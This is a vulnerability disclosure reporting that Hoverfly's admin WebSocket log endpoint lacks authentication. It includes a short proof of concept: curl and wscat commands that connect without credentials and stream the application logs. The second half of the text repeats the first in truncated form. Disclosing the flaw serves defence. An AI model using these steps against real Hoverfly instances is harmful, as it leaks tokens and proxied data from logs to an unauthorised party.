Unauthenticated Access to Admin WebSocket Log Streaming Endpoint in Hoverfly | CVE Disclosure

Unauthenticated Access to Admin WebSocket Log Streaming Endpoint in Hoverfly .

An authentication bypass vulnerability was identified in Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs, which is not protected by the authentication middleware applied to the REST admin API. As a result, an unauthenticated remote attacker can connect to the WebSocket endpoint and stream real-time application logs. This exposes potentially sensitive information, including internal file paths, proxied request and response bodies, tokens, and other confidential data written to logs, leading to significant information disclosure risk.

Start Hoverfly with authentication enabled:

```

./hoverfly -auth
```

Confirm REST API requires credentials:

```

curl -i http://localhost:8888/api/v2/hoverfly/version
```

Connect to the WebSocket endpoint without credentials:

```

wscat -c ws://localhost:8888/api/v2/ws/logs
# Connected (press CTRL+C to quit)
# … logs stream immediately … (You would need to send a message to start receiving stream)
> hi!
< {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]}

{...}
```

Unauthenticated Access to Admin WebSocket Log Streaming Endpoint in Hoverfly .

Start Hoverfly with authentication enabled:

```

./hoverfly -auth
```

Confirm REST API requires credentials:

```

curl -i http://localhost:8888/api/v2/hoverfly/version
```

Connect to the WebSocket endpoint without credentials:

```

{...}
```